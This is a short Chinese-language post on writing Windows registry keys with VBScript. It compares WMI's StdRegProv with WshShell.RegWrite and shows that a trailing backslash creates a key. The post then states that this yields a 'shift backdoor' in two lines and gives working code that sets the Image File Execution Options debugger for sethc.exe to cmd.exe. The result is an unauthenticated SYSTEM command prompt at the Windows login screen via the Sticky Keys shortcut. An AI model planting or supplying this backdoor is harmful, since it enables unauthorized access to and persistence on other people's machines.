利用vbs创建注册表值较简单，创建注册表项的话，网上多是用wmi来，例如代码：

const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"  ‘创建sethc.exe项
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

难道WshShell 对象的RegWrite 方法真的不可以吗？我仔细研究了一下，只需要在要加入的项后加\就可以，例如

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\","","REG_SZ"

所以我们创建shift后门的话，两句话就可以。

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\cmd.exe","REG_SZ"
